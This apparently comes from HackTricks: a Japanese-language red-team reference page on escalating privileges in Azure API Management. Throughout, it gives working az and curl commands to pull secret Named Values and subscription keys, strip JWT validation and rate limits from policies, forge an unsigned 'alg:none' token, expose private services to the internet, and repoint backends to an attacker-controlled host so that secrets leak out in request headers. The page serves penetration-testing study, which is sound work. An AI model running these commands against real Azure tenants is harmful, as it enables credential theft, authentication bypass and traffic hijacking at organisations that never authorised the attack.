Az - API Management Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Microsoft.ApiManagement/service/namedValues/read & Microsoft.ApiManagement/service/namedValues/listValue/action

この攻撃は、Azure API Management Named Values に保存された機密 secrets にアクセスすることで、secret values を直接取得するか、managed identities を悪用して Key Vault–backed secrets を取得する権限を濫用する、というものです。

az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>

Microsoft.ApiManagement/service/subscriptions/read & Microsoft.ApiManagement/service/subscriptions/listSecrets/action

各サブスクリプションについて、攻撃者は POST メソッドで listSecrets エンドポイントを使用してサブスクリプションキーを取得できます:

az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"

レスポンスには subscription primary key (primaryKey) と secondary key (secondaryKey) が含まれています。これらのキーがあれば、攻撃者は認証して API Management Gateway を通じて公開されている APIs にアクセスできます:

curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>

攻撃者はサブスクリプションに関連付けられたすべての API と製品にアクセスできます。サブスクリプションが機密性の高い製品や API にアクセスできる場合、攻撃者は機密情報を取得したり、不正な操作を実行したりする可能性があります。

Microsoft.ApiManagement/service/policies/write or Microsoft.ApiManagement/service/apis/policies/write

攻撃者はまず現在の API ポリシーを取得します:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"

攻撃者は目的に応じてポリシーを様々な方法で変更できます。例えば、認証を無効にするためにポリシーに JWT token validation が含まれている場合、その部分を削除するかコメントアウトできます:

<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>

レート制限のコントロールを解除してdenial-of-service attacksを許可するために、攻撃者はquotaやrate-limitポリシーを削除するかコメントアウトできます:

<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>

バックエンドのルートを変更して、トラフィックを attacker-controlled server にリダイレクトするには:

<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>

攻撃者は修正したポリシーを適用します。リクエストボディはポリシーをXML形式で含むJSONオブジェクトでなければなりません:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'

JWT 検証の誤構成

攻撃者は、API が JWT トークン検証を使用しており、ポリシーが誤構成されていることを把握している必要があります。誤って構成された JWT 検証ポリシーは require-signed-tokens="false"require-expiration-time="false" のようになっており、署名されていないトークンや期限が設定されていない(無期限の)トークンをサービスが受け入れてしまう可能性があります。

攻撃者は none アルゴリズム(署名なし)を使用した悪意のある JWT トークンを作成します:

# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.

攻撃者は悪意のあるトークンを使用して API にリクエストを送信します:

curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path

ポリシーが require-signed-tokens="false" に誤設定されている場合、サービスは署名されていないトークンを受け入れます。攻撃者は require-expiration-time="false" の場合、有効期限クレームを持たないトークンを作成することもできます。

Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action

攻撃者はまずサービスの現在のネットワーク構成を確認します:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"

攻撃者はJSONレスポンスを確認し、publicNetworkAccessvirtualNetworkType の値を検証する。publicNetworkAccess が false に設定されているか、virtualNetworkType が Internal に設定されている場合、サービスはプライベートアクセスに構成されている。

サービスをインターネットに公開するために、攻撃者は両方の設定を変更する必要がある。サービスが internal モードで実行されている場合 (virtualNetworkType: "Internal")、攻撃者はこれを None または External に変更し、publicNetworkAccess を有効にする。これは Azure Management API を使用して実行できる:

az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'

一度virtualNetworkTypeNoneまたはExternalに設定され、publicNetworkAccessが有効になると、サービスとそのすべてのAPIはインターネットからアクセス可能になります。たとえ以前はプライベートネットワークやプライベートエンドポイントの背後で保護されていたとしても。

Microsoft.ApiManagement/service/backends/write

攻撃者はまず既存のバックエンドを列挙して、どれを変更するかを特定します:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"

攻撃者は変更したいバックエンドの現在の構成を取得する:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"

攻撃者はbackend URLを自分の管理下にあるサーバーを指すように変更します。まず前のレスポンスからETagを取得し、その後backendを更新します:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'

代わりに、攻撃者は backend headers を構成して、機密を含む Named Values を exfiltrate できます。これは backend credentials configuration を通じて行われます:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'

この構成では、Named Values が攻撃者制御のバックエンドへのすべてのリクエストのヘッダーとして送信され、機密シークレットの流出を可能にします。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする